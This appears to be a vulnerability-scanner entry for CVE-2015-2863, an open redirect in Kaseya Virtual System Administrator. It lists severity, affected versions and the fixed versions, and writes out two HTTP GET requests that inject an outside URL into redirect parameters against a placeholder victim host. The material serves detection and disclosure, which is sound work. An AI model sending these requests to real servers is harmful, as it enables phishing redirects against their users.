| Title | Kaseya Virtual System Administrator - Open Redirect |
|---|---|
| Author | 0x_Akoko,AmirHossein Raeisi |
| Severity | Medium |
| Impact | Attackers can redirect users to malicious sites, facilitating phishing attacks and potential credential theft. |
| Remediation | Update to version 7.0.0.29, 8.0.0.18, 9.0.0.14, or 9.1.0.4 or later. |
| CVSS Score | 4.3 |
| EPSS Score | 0.46464 |
| CVE ID | CVE-2015-2863 |
| CWE ID | CWE-601 |
| Tags | cve2015 cve redirect kaseya vkev vuln |
Kaseya Virtual System Administrator 7.x before 7.0.0.29, 8.x before 8.0.0.18, 9.0 before 9.0.0.14, and 9.1 before 9.1.0.4 are susceptible to an open redirect vulnerability. An attacker can redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.
GET /inc/supportLoad.asp?urlToLoad=http://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /vsaPres/Web20/core/LocalProxy.ashx?url=http://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2863.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-2863.pcap
N/AN/A